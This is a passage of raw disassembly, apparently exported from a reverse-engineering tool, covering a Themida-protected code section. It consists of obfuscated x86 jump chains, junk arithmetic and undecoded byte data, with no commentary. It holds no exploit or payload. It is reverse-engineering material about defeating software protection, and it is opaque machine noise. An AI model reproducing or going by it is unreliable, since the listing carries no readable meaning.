dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_556DD7 ; --------------------------------------------------------------------------- loc_55CCC6: ; CODE XREF: Themida_:00561ECCj add dword ptr [esp+4], 4BAB7E16h jmp loc_56375F ; --------------------------------------------------------------------------- db 5Bh dd 0FFEF04E9h, 0DFE981FFh, 817BF925h, 0B3016E9h, 0C1E9D17Fh dd 65E903E9h, 51FFFFA5h, 0A2E9E7B5h, 29000042h, 0F0BBE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5669B7 ; --------------------------------------------------------------------------- aSG db ')ÆéÈ£',0 db 0 ; --------------------------------------------------------------------------- loc_55CD0D: ; CODE XREF: Themida_:00556E01j pop ebx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_560907 ; --------------------------------------------------------------------------- dw 0D501h dd 3CDDC581h, 148B58B1h, 4C48324h, 2E3168h, 242C8900h dd 42474FFh, 5D2434FFh, 0E904C483h, 0FFFF9B61h, 0D8ECE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD5A: ; CODE XREF: Themida_:00565D94j mov [esp], ecx jmp loc_55E563 ; --------------------------------------------------------------------------- dw 0D731h dd 5CEF815Ah, 0E97C4140h, 1893h, 54E1C581h, 0EC817209h dd 4, 0E9243489h, 0FFFF8F65h, 0D931CB31h, 0D1F7CB31h, 0C7E9CB87h dd 56FFFFF5h, 0A87FB6BEh, 6EEC130h, 0A1FAEE81h, 0F10100C2h dd 4C1815Eh, 0E9000000h, 6773h, 4C781h, 0C7830000h, 74FF5704h dd 8F5F0424h, 248B2404h, 857DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CDCA: ; CODE XREF: Themida_:00553ADAj pop ecx push eax mov eax, 6BF909A7h add ebx, eax pop eax push edx mov edx, 54423BFAh inc edx add edx, 443075D1h shl edx, 6 xchg ecx, edx jmp loc_55B332 ; --------------------------------------------------------------------------- db 81h dd 96F08CEAh, 5AD029ECh, 0FFA2B2E9h, 0CE8058FFh, 4E6C0B1h dd 0EE80D6F6h, 0DDEE8092h, 0FF7A72E9h, 0FCF281FFh, 0E9016E15h dd 0FFFFF130h, 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF5E10h dd 24048B66h, 8904EC83h, 0E389241Ch, 4EC81h, 2C890000h dd 7593BD24h, 0E5C13D75h, 945BE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE4A: ; CODE XREF: Themida_:005559CBj mov edi, 51344074h and ebx, edi pop edi sub ebx, 212B7661h push eax mov eax, 77C364A0h neg eax add eax, 0D33CA066h push 34CEh mov [esp], edi mov edi, 0F8A2345h jmp loc_560FCD ; --------------------------------------------------------------------------- db 35h dd 3CE31C56h, 0A0E5E9h, 24248B00h, 8324048Bh, 0ECE904C4h dd 8BFFFF94h, 8B662424h, 83502404h, 248904ECh, 68555224h dd 41827536h, 0BCF5815Dh, 4D770D1Ch, 0B76CC581h, 0EA89D9BCh dd 0E6E9425Dh, 89FFFF73h, 0AE95FFBh, 66FFFFF4h, 5966CA01h dd 7D36E9h, 28270400h, 15A268C8h, 14890000h, 2827B224h dd 67AAE9D0h, 1C8BFFFFh, 4C48124h, 53000000h, 317CE9h dd 0A4C28100h, 0F7085261h, 0BEF281DAh, 81426A54h, 637C70C1h dd 625FE914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF0A: ; CODE XREF: Themida_:0055F80Aj sub esi, 42833CE8h jmp loc_564884 ; --------------------------------------------------------------------------- loc_55CF15: ; CODE XREF: Themida_:00559959j push dword ptr [esp+4] jmp loc_558337 ; --------------------------------------------------------------------------- dw 0C483h dd 9DE6BB04h, 0C3018229h, 8324048Bh, 0C28104C4h, 6EBC4CC9h dd 40E3EA81h, 0DA011EB8h, 40E3C281h, 0EA811EB8h, 6EBC4CC9h dd 0AF8CE95Bh, 0E95C0000h, 0AB1Ah, 34DEF681h, 0C6813D9Eh dd 8F68A406h, 24E9F029h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF67: ; CODE XREF: Themida_:0055F931j mov ebp, 6F780B4Ch sub ebx, ebp pop ebp add ebx, edi add ebx, 6F780B4Ch jmp loc_563CAE ; --------------------------------------------------------------------------- dd 0FEA8158h, 8156B052h, 0CC35D2EAh, 5CAAE921h, 248BFFFFh dd 240C8924h, 88D38853h, 80E95BDDh, 0BEFFFFA7h, 35864F04h dd 0FF6ECAE9h, 56E281FFh, 0E9506D60h, 1E91h, 6858C229h dd 7F5Ah, 68242C89h, 73172C4h, 5DEA295Dh, 83242C8Bh, 148704C4h dd 0ACE2E924h, 0F32CFFFFh, 0F304F000h, 8124148Bh, 4C4h dd 2434FF00h, 6313E95Ah, 89660000h, 38B62414h, 5A66F420h dd 0FE65B151h, 0E9C1FEC1h, 986h, 2474FF50h, 48F5804h, 9D4AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D012: ; CODE XREF: Themida_:0055AB2Bj add ecx, ebx sub ecx, 23255C66h jmp loc_55C33A ; --------------------------------------------------------------------------- db 59h dd 348BF289h, 4C48124h, 50000000h, 0B8h, 0E9D02900h, 1CD8h dd 4C481h, 0F5E90000h, 870000A5h, 248B241Ch, 970DE924h dd 875B0000h, 72E92434h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D057: ; CODE XREF: Themida_:00554604j push eax mov eax, 32CE2160h and edx, eax pop eax shl edx, 5 inc edx add edx, 0FECC602Ah jmp loc_564427 ; --------------------------------------------------------------------------- db 83h dd 0FF042404h, 348B2434h, 4C48124h, 0E9000000h, 0FFFF8392h ; --------------------------------------------------------------------------- loc_55D084: ; CODE XREF: Themida_:0055B610j neg ecx jmp loc_55FAF6 ; --------------------------------------------------------------------------- loc_55D08B: ; CODE XREF: Themida_:00562F65j add ebx, 0FD117357h xor edi, ebx pop ebx not edi shr edi, 3 and edi, 7D437D05h push ebp mov ebp, 4DD9098Bh xor edi, ebp pop ebp jmp loc_554058 ; --------------------------------------------------------------------------- db 0E9h, 86h, 5Bh dd 77FFFFFFh, 5B7EE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D0BA: ; CODE XREF: Themida_:0055AF04j push 2BD1h mov [esp], ecx push edi mov edi, 0B386F4Eh mov ecx, 1E3D004Dh jmp loc_558FCE ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4C481h, 89510000h, 6E957E1h, 8900006Ch, 45682404h dd 89000045h, 4812424h, 424h, 9FD6E900h, 50BBFFFFh, 4320541Dh dd 0C106EBC1h, 0F38103EBh, 334C60C3h, 69E9DF29h, 83000000h dd 0BA52FFE8h, 10B37DBFh, 2028E281h, 0EAC1305Fh, 52E28102h dd 0F75B5942h, 0A2C281DAh, 0E9712600h, 0FFFFB543h ; --------------------------------------------------------------------------- loc_55D13C: ; CODE XREF: Themida_:00557075j sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esi jmp loc_55A5D6 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd offset loc_41FD68 dd 241C8900h, 0C617BA68h, 2434FF26h, 4EC835Bh, 59DCE9h dd 24148900h, 42474FFh, 24048F5Ah, 6624248Bh, 0E9240489h dd 0FFFF5AB8h, 2434FF5Bh, 75B0685Eh, 3AE90000h, 2DFFFFE2h dd 2F7C5580h, 8005F029h, 0FF2F7C55h, 348B2434h, 5E7FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1A6: ; CODE XREF: Themida_:00555FF1j shr edx, 5 jmp loc_55B622 ; --------------------------------------------------------------------------- dw 0FE01h dd 9E0EE81h, 0EE815E12h, 20780222h, 56243C8Bh, 0C681E689h dd 4, 0FFBCB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D1CD: ; CODE XREF: Themida_:0055BDB4j pop ebp sub edx, esi push edi mov edi, 723355D3h or edi, 54F8322Dh push esi mov esi, 50000B62h jmp loc_562580 ; --------------------------------------------------------------------------- db 87h dd 248B2404h, 241C8924h, 42474FFh, 0E92434FFh, 0FFFFD319h dd 99E9CDFEh, 660000AFh, 30C8C281h, 0E9CA0166h, 6658h dd 0F2E98A2Ch, 0FFFFF84h db 0B7h, 0C0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push ebp mov ebp, 27284936h mov esi, 0D8D7B6CEh add esi, ebp pop ebp sub ebp, 3DF6032h add ebp, esi push ebx mov ebx, 7FB42DF6h jmp loc_564EA6 ; --------------------------------------------------------------------------- loc_55D23F: ; CODE XREF: Themida_:00555D2Aj sub esp, 4 mov [esp], edi sub dword ptr [esp], 3CC230A1h pop ecx add ecx, 3CC230A1h pop edi mov esi, [esp] push 4BDEh mov [esp], ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] pop edx add esp, 4 add eax, ecx pop ecx push ecx push esi push 19101CBEh pop esi push edx jmp loc_55C18A ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 5FBCh, 0C8BCA29h, 4C48124h, 81000000h, 0F1042444h dd 13A0B44h, 53042454h, 0B44F1BBh, 69C6E93Ah, 0C601FFFFh dd 8324048Bh, 0C68304C4h, 24343302h, 33243431h, 6BE92434h dd 5D0000A6h, 0FF2434FFh, 0E9592434h, 8AC0h, 0C581CD01h dd 10A745D1h, 99BB5359h, 8129C700h, 0FA3BE3E3h, 0E9DBF717h dd 9F31h, 0AF0DE9ACh, 0C481FFFFh, 4, 5C24048Fh, 66DBCE80h dd 3003B450h, 805866E6h, 0F68055C6h, 5AF028C6h, 6866D828h dd 3AE91869h, 81000097h, 0BB9B1BE9h, 59C829CEh, 7D1E9h dd 24248B00h, 0FF58F3E9h, 27EB35FFh, 33356AFFh, 523BD63h dd 4B006CCDh, 1A68FB2Dh, 58C20194h, 0FFB395E9h, 24248BFFh dd 0E9243C89h, 0FFFFC2D5h ; --------------------------------------------------------------------------- loc_55D36C: ; CODE XREF: Themida_:00555185j mov edi, 0FECC85C5h add ebp, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_556CE0 ; --------------------------------------------------------------------------- loc_55D38C: ; CODE XREF: Themida_:00565822j add esi, 0D98FF03Ah mov ebp, esi pop esi sub [esp+4], ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push esi push ecx mov ecx, 6C91382Ch mov esi, 936EC7D8h add esi, ecx pop ecx add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov eax, [esp] add esp, 4 push 668Bh mov [esp], ebp mov ebp, 5A1965CDh add ebp, 0FFFFFFFFh jmp loc_55B141 ; --------------------------------------------------------------------------- dd 5259CA01h, 42474FFh, 24048F5Ah, 583EE95Ch, 8953FFFFh dd 74BAE9F3h, 0FDB6FFFFh, 805AF320h, 0D920BCC3h, 1E9805Bh dd 9B80E9h db 0 ; --------------------------------------------------------------------------- loc_55D415: ; CODE XREF: Themida_:00561E92j add ebp, esi pop esi xor ebp, [esp] jmp loc_5617FC ; --------------------------------------------------------------------------- loc_55D420: ; CODE XREF: Themida_:0055961Cj sub edi, 90AE6038h add ebp, edi mov edi, [esp] add esp, 4 jmp loc_55C17D ; --------------------------------------------------------------------------- dd offset dword_445750+0A118h align 4 dd 0FFAF2FE9h, 56455EFFh, 572378BEh, 0CEF6815Ah, 31FEEB31h dd 6BE95EF5h, 55FFFFE8h, 24DDE9h, 60EC8000h, 60E9E600h dd 0B8FFFFACh, 4C4B5176h, 2D1F2925h, 2EB72D31h, 772D7BC0h dd 0E90AB635h, 0FFFF982Ah, 0AEB52CBBh, 59CB318Bh, 34FFEB01h dd 0C4815D24h, 4, 0F2C1BE56h, 0EB81D6BDh, 37CF75BDh, 54AEC381h dd 0F3292D53h, 54AEEB81h, 0C3812D53h, 37CF75BDh, 0FFC8EAE9h dd 2260B9FFh, 0A9E96A7Ah, 81FFFF68h, 1552F8E3h, 40EB8155h dd 892364F0h, 0C2815BDAh, 45DA7A5Ah, 0FFA535E9h, 240C89FFh dd 4B9h, 0FFCB0100h, 81592434h, 4C4h, 241C3300h, 0E9241C31h dd 0FFFFC23Ah, 5B202D66h, 5E2434FFh, 4472E9h, 24348900h dd 24348B54h, 0E904C483h, 0FFFFCED9h, 8107E9C1h, 2F119C1h dd 59C8319Eh, 48BC689h, 4C48124h, 0E9000000h, 6008h ; --------------------------------------------------------------------------- loc_55D530: ; CODE XREF: Themida_:00563A2Dj push bx jmp loc_5668B9 ; --------------------------------------------------------------------------- loc_55D537: ; CODE XREF: Themida_:00559E46j mov ebp, edx pop edx and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 5594h mov [esp], esi push esp pop esi jmp loc_557BCB ; --------------------------------------------------------------------------- db 89h dd 88E9241Ch, 35FFFF5Ah, 7E892851h, 2D06E0C1h, 7329149Eh dd 2EA0E9h db 0 ; --------------------------------------------------------------------------- loc_55D571: ; CODE XREF: Themida_:00555028j add dword ptr [esp+4], 1B2267F7h pop eax pop ebx sub ebx, 78F40055h push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_566ED3 ; --------------------------------------------------------------------------- db 0B9h, 0CBh, 13h dd 2DE94309h, 5B00001Ah, 68514D04h, 56EBh, 0E9240489h dd 0FFFF9721h ; --------------------------------------------------------------------------- loc_55D5B8: ; CODE XREF: Themida_:00555D38j push ebx jmp loc_563069 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24348904h, 9EECE9h, 74FF5300h, 0A0E90424h dd 54000077h, 0FF76D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D5DD: ; CODE XREF: Themida_:0055C938j shr ebx, 8 sub ebx, 0DEB5F501h mov edx, ebx pop ebx shl edx, 7 add edx, 4329E133h and eax, edx mov edx, [esp] jmp loc_5653F6 ; --------------------------------------------------------------------------- dd 9793F381h, 0DF895E83h, 0FFAC66E9h, 1BFFFh, 0FA010000h dd 0FF8C59E9h, 50EB80FFh db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], dx jmp loc_5573CE ; --------------------------------------------------------------------------- loc_55D635: ; CODE XREF: Themida_:0055994Bj add esp, 4 or eax, eax jz loc_565C0B push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_557567 ; --------------------------------------------------------------------------- dd 2EB2C281h, 0EA010C5Ah, 2EB2EA81h, 0C2810C5Ah, 6B5309D2h dd 0E1B8505Dh, 50EE42Bh, 483939BFh, 0C106E0C1h, 0FF2D02E0h dd 53FFFFFFh, 9A6001BBh, 0E9D801E2h, 0FFFFAF10h ; --------------------------------------------------------------------------- loc_55D68C: ; CODE XREF: Themida_:005677DAj add esp, 4 jmp loc_561CD0 ; --------------------------------------------------------------------------- dd 0E904C383h, 46DEh ; --------------------------------------------------------------------------- loc_55D69C: ; CODE XREF: Themida_:0055C643j push dword ptr [esp] pop ecx jmp loc_556CE6 ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 dd 48B5424h, 4C48124h, 52000000h, 4BAh, 71062D00h, 0E2E96E98h dd 81FFFF9Ah, 2402C7h, 5FFD8901h, 7B58E9h, 5562E900h, 8158FFFFh dd 1F3162E2h, 8058E97Bh, 5352FFFFh, 0E46D89BBh, 0BE53BA56h dd 0DA299439h, 4EC2815Bh, 0E941C95Bh, 0A954h, 66D830ACh dd 0D6B15152h, 881CE980h, 240C8BCAh, 6604C483h, 0CDB551h dd 0C8B66E8h, 2C48324h, 0FF6C22E9h, 243C33FFh, 0E9243C31h dd 0FFFFBBECh ; --------------------------------------------------------------------------- loc_55D72C: ; CODE XREF: Themida_:00562F8Cj jz loc_561F45 push dword ptr [edi+1Ch] push 7B96h mov [esp], ebp jmp loc_557F44 ; --------------------------------------------------------------------------- dw 0C381h dd 5D76202Bh, 0FFBAC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D74D: ; CODE XREF: Themida_:00552C9Ej mov [esp], ecx mov ecx, 47936C4h xor esi, ecx mov ecx, [esp] add esp, 4 xor esi, 5F530039h jmp loc_56670C ; --------------------------------------------------------------------------- db 55h dd 24087DBDh, 0B26EE921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D776: ; CODE XREF: Themida_:00555CF6j push ebp not dword ptr [esp] pop ebp sub ebp, 5175B955h sub esp, 4 mov [esp], edi push ebp push ecx jmp loc_560B73 ; --------------------------------------------------------------------------- loc_55D791: ; CODE XREF: Themida_:0055AD57j pop edx jmp loc_566BE8 ; --------------------------------------------------------------------------- db 51h dd 0E1D7AB9h, 5BC98168h, 81438B02h, 5517A7C1h, 68F18174h dd 29D0FA89h, 6AE959CAh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D7B7: ; CODE XREF: Themida_:00564EA1j xchg ecx, [esp] pop esp mov [esp], ebx push 1Ch jmp loc_56471B ; --------------------------------------------------------------------------- dd 815AD629h, 6F20E1F6h, 2E6C15Fh, 0D013C681h, 0EB817FE0h dd 2B9D4CA6h, 7B7BEB81h, 0F30147DAh, 7B7BC381h, 0C38147DAh dd 2B9D4CA6h, 8124348Bh, 4C4h, 1C335F00h, 241C3124h, 5C241C33h dd 240CFF66h, 5426E99Ch, 0EEC0FFFFh, 0AED0E907h, 5854FFFFh dd 6CE95255h, 81FFFFD2h, 0F9123AE9h, 2434FF75h, 0E689565Bh dd 412BBD55h, 0DDF778A0h, 0FFB07FE9h, 76CA80FFh, 281AEA80h dd 0C3005AD3h, 0FF8683E9h, 4EC81FFh, 89000000h, 2BD242Ch dd 0E9000000h, 0FFFFBDE8h ; --------------------------------------------------------------------------- loc_55D860: ; CODE XREF: Themida_:005575D1j sub edx, 626A7534h jmp loc_561A50 ; --------------------------------------------------------------------------- db 89h dd 52B850E7h, 0E93CE31Ch, 0FFFFF5FFh ; --------------------------------------------------------------------------- loc_55D878: ; CODE XREF: Themida_:00556B60j pop ebx push ecx mov ecx, 5E3B09BEh sub ecx, 1 add ecx, 6023292h push esi push 3442h mov [esp], ebp push edi jmp loc_5557E4 ; --------------------------------------------------------------------------- dw 99E9h dd 8AFFFF53h, 68552434h, 70EBh, 24048F54h, 4240483h, 4C5815Dh dd 52000000h, 2BAh, 0BEC58100h, 1153F64h, 0BEED81D5h, 5A153F64h dd 9AB9E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8D2: ; CODE XREF: Themida_:00561F6Cj mov [esp], ebx jmp loc_5670E7 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF53C3h, 8650E94Ah, 2C8B0000h, 4C48124h, 68000000h dd 5A3Bh, 54241C89h, 1630685Bh, 0A3E90000h, 58FFFFABh dd 4EC81h, 4890000h, 0C5E95324h, 51000040h, 0CF06BDB9h dd 0E9CA891Dh, 0FFFF569Bh, 51E78957h, 0CA700EB9h, 0AF1811Eh dd 811ECA70h, 6A73FBC7h, 81CF0139h, 6A73FBEFh, 0A881E939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D942: ; CODE XREF: Themida_:0055B39Aj mov [esp], esi jmp loc_558C3A ; --------------------------------------------------------------------------- dw 0F231h dd 8124348Bh, 4C4h, 5AD50100h, 571E9h, 0E4E95900h, 28FFFFA6h dd 0F8A6E9F0h, 0C681FFFFh, 0AFC4A231h, 34FFF189h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_563EC1 ; --------------------------------------------------------------------------- dw 0D9F6h dd 8005E1C0h, 0CC289CC1h, 83240C8Bh, 0E50804C4h, 771BE9h db 0 ; --------------------------------------------------------------------------- loc_55D9A1: ; CODE XREF: Themida_:00557BC6j mov ebp, 9C92D35h add edx, ebp mov ebp, [esp] jmp loc_5660B0 ; --------------------------------------------------------------------------- dd 11FC6866h, 241C8966h, 0FE3071B7h, 0D6F65B66h, 8003EEC0h dd 0F00021C6h, 4FC0E9h db 0 ; --------------------------------------------------------------------------- loc_55D9CD: ; CODE XREF: Themida_:00553B8Dj mov esi, [esp] jmp loc_565A4C ; --------------------------------------------------------------------------- loc_55D9D5: ; CODE XREF: Themida_:005609B9j pop edx add ebx, eax sub ebx, 284E1722h push dword ptr [esp] pop eax jmp loc_564805 ; --------------------------------------------------------------------------- loc_55D9E7: ; CODE XREF: Themida_:00560370j push edi mov edi, 385320Ch mov esi, edi pop edi jmp loc_563F24 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0ED810000h, 15B20F1Ah, 0C581DD01h, 15B20F1Ah, 0E9241C8Bh dd 0FFFF9C45h, 0B0240489h, 8E0C03Eh, 2C02E8C0h, 8C04E9C1h dd 34890000h, 69486824h, 0F75E5CD7h, 63CE81DEh, 521DE82Bh dd 1B968h, 24048900h, 82203668h, 0C483E92Ah, 0C383FFFFh dd 241C8704h, 0A496E9h, 0E9F08600h, 0FFFF740Ch, 70D66857h dd 0F75F4B96h, 3072E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA66: ; CODE XREF: Themida_:0055716Fj pop dword ptr [esp] push dword ptr [esp] jmp loc_55C648 ; --------------------------------------------------------------------------- loc_55DA71: ; CODE XREF: Themida_:0055DCACj add esp, 4 push edi mov edi, 1 jmp loc_55AFD4 ; --------------------------------------------------------------------------- loc_55DA7F: ; CODE XREF: Themida_:00561641j mov ebp, [esp] add esp, 4 jmp loc_55918F ; --------------------------------------------------------------------------- dw 0EB81h dd 0BB7F3A5Bh, 0E95BDA31h, 0FFFF7A8Eh, 81240C8Bh, 4C4h dd 8521E900h, 34FFFFFFh, 7821E924h, 0EC81FFFFh, 4, 68240489h dd 6FCB5B54h, 77054058h, 0E97B9A35h, 2796h, 0B4F7E95Dh dd 0E704FFFFh, 0E95B3204h, 80E8h, 855B8168h, 0EE815E52h dd 19BB426Fh, 0F702E6C1h, 4CC681DEh, 57E32864h, 0F989F789h dd 0FDDE9h, 7CB66800h, 14890000h, 6C685724h, 5F53DB38h dd 0E0A6E94Fh, 0D82DFFFFh, 2957AB0Eh, 0ED805F0h, 860557ABh dd 8B00C464h, 54512434h, 0F269E959h, 3C87FFFFh, 0EC835C24h dd 242C8904h, 4BE56h, 0F5890000h, 0BDD4E95Eh, 0E9ACFFFFh dd 4973h, 0B1243481h, 5814F436h, 0FFAFCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DB55: ; CODE XREF: Themida_:0055C3F5j mov eax, edx pop edx sub edx, 471D2F95h sub edx, eax add edx, 471D2F95h jmp loc_5668B3 ; --------------------------------------------------------------------------- db 59h dd 8105E9C1h, 2FCFA8E9h, 0E9CF89F5h, 0FFFFE4EBh, 25E9E589h dd 8900005Ch, 2C81242Ch, 2C135E24h, 93BFE92Ch, 0F660000h dd 5166C8AFh, 509AE99Ch, 0F187FFFFh, 11C1815Eh, 51B086C4h dd 0D729595Ah, 8124148Bh, 4C4h, 81DF0100h, 43192CC7h, 7913E94Fh dd 48FFFFFh, 9817E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBCA: ; CODE XREF: Themida_:00557650j push 55E5h mov [esp], ebp push edi jmp loc_5564D2 ; --------------------------------------------------------------------------- dd 6801C283h, 47D0h, 0BD242C89h, 4142C9h, 2C8BEA01h, 4EC8324h dd 9826E9h, 0F7D5F700h, 0F5BF57DDh, 817F4C47h, 0FE2201C7h dd 0EFD14720h, 0FFB747E9h, 69B951FFh, 29818299h, 62E959CDh dd 8300006Dh, 148904ECh, 0EAEDBA24h, 0D6312744h, 8324148Bh dd 542D04C4h, 0E92C3073h, 0FA5h, 24048B66h, 20AFE9h, 6FF52D00h dd 0D82938D0h, 0FF59AFE9h, 4EC81FFh, 89000000h, 4832424h dd 815A0424h, 4C2h, 4C28100h, 87000000h, 248B2414h, 0ADA6E924h dd 0E95BFFFFh, 8A7Ch ; --------------------------------------------------------------------------- loc_55DC78: ; CODE XREF: Themida_:00560C6Cj add esi, 4 jmp loc_565D8D ; --------------------------------------------------------------------------- aRtzquqsri db 'RTZQUQéà›',0 align 2 dw 0D029h dd 944CE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC96: ; CODE XREF: Themida_:0055B502j mov esi, 851981C9h sub esi, 54E3487h sub esi, ebx add esi, 54E3487h mov ebx, [esp] jmp loc_55DA71 ; --------------------------------------------------------------------------- aSU db '[^é',27h,'ž',0 align 4 dd 0DAE9DDF6h, 4000020h, 2CE8286Ah, 89FEE96Ah, 0EEC00000h dd 7FE95108h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCD3: ; CODE XREF: Themida_:005636F9j push 5548h mov [esp], ebp push 26C7h mov [esp], esi pop ebp pop esi push 2D9Ah jmp loc_553272 ; --------------------------------------------------------------------------- db 89h dd 0EC81241Ch, 4, 68240489h, 1B0A0B44h, 5124048Bh, 0B8505954h dd 4, 48BC101h, 4C48124h, 0E9000000h, 6872h ; --------------------------------------------------------------------------- loc_55DD1C: ; CODE XREF: Themida_:00567BC8j dec dl shr dl, 1 push ecx mov cl, 35h add cl, 12h add cl, 28h or cl, 0F2h sub cl, 0F0h add dl, cl pop ecx push eax jmp loc_564B72 ; --------------------------------------------------------------------------- loc_55DD38: ; CODE XREF: Themida_:00553C0Aj pop ebx sub esp, 4 mov [esp], edx mov edx, esp jmp loc_55C3D4 ; --------------------------------------------------------------------------- aVsxh db 'VéxH',0 dw 5C00h dd 2D74E9h, 0C3815800h, 0D3D952B9h, 1C8BDA31h, 4C48324h dd 840FC909h, 0FFFF6276h, 5365E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD72: ; CODE XREF: Themida_:00561F62j pop esi and eax, 38387FAFh jmp loc_55AD0A ; --------------------------------------------------------------------------- db 29h, 0E9h, 81h dd 225FEBE9h, 0B689E941h, 0A9E9FFFFh, 81FFFF4Eh, 4ECh dd 24148900h, 4FE9E289h, 66FFFF89h, 2404BB0Fh, 4E8EE99Ch dd 0DAF7FFFFh, 0EA81D2F7h, 0AE1C40DBh, 0E95AD301h, 0FFFFDB6Bh ; --------------------------------------------------------------------------- loc_55DDBC: ; CODE XREF: Themida_:00556018j mov esi, 5FA24B32h sub esi, 3CD7B65h sub esi, 77C56011h not esi neg esi xor esi, 0C9517119h xor esi, 132F5192h and esi, 4C31D58h or esi, 24104D27h sub esi, 60356184h shl esi, 7 sub esi, 0DF5D97Ch mov ebx, esi pop esi add edx, ebx pop ebx jmp loc_554435 ; --------------------------------------------------------------------------- loc_55DE03: ; CODE XREF: Themida_:00556407j sub ecx, 0FFFFFFFFh xor ecx, 50415C38h push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55B2DB ; --------------------------------------------------------------------------- db 81h, 0CBh, 16h dd 8124B22Ah, 0A61486E3h, 0A6D3E924h, 0BA66FFFFh, 8166185Ch dd 660B63E2h, 6114E281h, 0D5CA8166h, 6109E918h, 885CFFFFh dd 2434FFCFh, 80ABE959h, 166FFFFh, 296659CBh, 0BF6657C3h dd 81661059h, 665312EFh, 8166D7F7h, 0E92010EFh, 5D1Bh dd 4C4815Bh, 68000000h, 12E9h, 55241489h, 0FF9BE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE85: ; CODE XREF: Themida_:00559C89j push ebp mov ebp, 4CF0083Bh jmp loc_566B1C ; --------------------------------------------------------------------------- dd 4312E681h, 0EE81102Bh, 27814990h, 8106EEC1h, 0F7B773EEh dd 5EF201CBh, 0B951C201h, 376A706Fh, 74CFEA81h, 0CA296126h dd 74CFC281h, 34FF6126h, 0C4815924h, 4, 5345E958h, 0FF55FFFFh dd 0FF042474h, 74E92434h, 81FFFFDBh, 0EA5B74E9h, 2434FF41h dd 3C7E685Ah, 0C890000h, 81595424h, 4C1h, 0EC835600h, 24048904h dd 4755B951h, 0E1812757h, 5041105Fh, 0E181D1F7h, 785F3C98h dd 53F18149h, 5519B21Ah, 0E889CD89h, 15E9595Dh db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DF23: ; CODE XREF: Themida_:0055EEEEj mov edx, esi pop esi mov eax, 82499BA9h add eax, edx pop edx push ecx mov ecx, eax mov ebx, ecx jmp loc_565C8A ; --------------------------------------------------------------------------- loc_55DF38: ; CODE XREF: Themida_:00560C24j mov edx, [esp] add esp, 4 push edx xchg ebx, [esp] push ebx jmp loc_56362E ; --------------------------------------------------------------------------- aWsjn db 'Wé†n',0 align 2 loc_55DF4E: ; CODE XREF: Themida_:005647B2j mov edi, [esp] jmp $+5 add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 241CF6C3h, 4CC2E99Ch, 0F681FFFFh, 0B97D2143h, 525EF201h dd 42474FFh, 0E77FE95Ah, 489FFFFh, 0F689B024h, 2C6C04D0h dd 58C5306Ah, 0C8BE828h, 0A4A6E924h, 0C231FFFFh, 0DBF28158h dd 505D5733h, 1708BA52h, 0EA810B36h, 539E6586h, 8F4CE951h dd 0C381FFFFh, 1EDA2F3Ah, 51240C8Bh, 42E95954h, 5EFFFF51h dd 1CE9D829h, 66FFFF99h, 5324048Bh, 6A1F68h, 36A1E900h dd 895A0000h, 5F295FFBh, 2434FF40h, 0FF9FE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DFF5: ; CODE XREF: Themida_:005601C9j add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], eax mov 